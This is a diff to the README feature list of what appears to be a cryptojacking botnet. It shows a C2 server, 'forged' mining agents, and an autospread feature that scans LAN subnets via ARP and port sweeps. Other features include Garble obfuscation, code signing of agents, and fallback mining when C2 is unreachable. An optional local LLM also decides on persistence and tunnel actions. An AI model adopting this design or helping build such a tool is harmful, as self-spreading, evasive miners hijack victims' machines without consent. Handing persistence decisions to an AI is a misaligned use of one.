 - **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
 - Live fleet hashrate, CPU/RAM gauges, share feed
-- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
+- **Fleet Health Score** — weighted 0–100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
+- **Contribution Map** — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded
+- **Underperformer list** — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards
+- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
+- **LAN Group View** — agents grouped by /24 subnet; online count and aggregated hashrate per segment
+- **Simple / Advanced toggle** — hides charts, logs, and AI panels by default; persisted across sessions
+- **XMR price** — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card
+- **Earnings Estimator** — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available
+- **3D fleet topology map** — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes
 - Per-agent cards with pause / resume / stop / uninstall
 - Fleet alerts (offline, hashrate drop, rejection spikes)

 ### Under the Hood
 - **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate
+- **Stratum fallback** — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects
 - **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
 - **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
+- **Hashrate reporting** — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick
+- **Process guard** — Unix `pgrep` fix: correctly matches only the agent binary (no false-positive self-kill)
+- **ARP-first subnet scan** — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 5–20
 - **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated)
 - **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH
 - **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
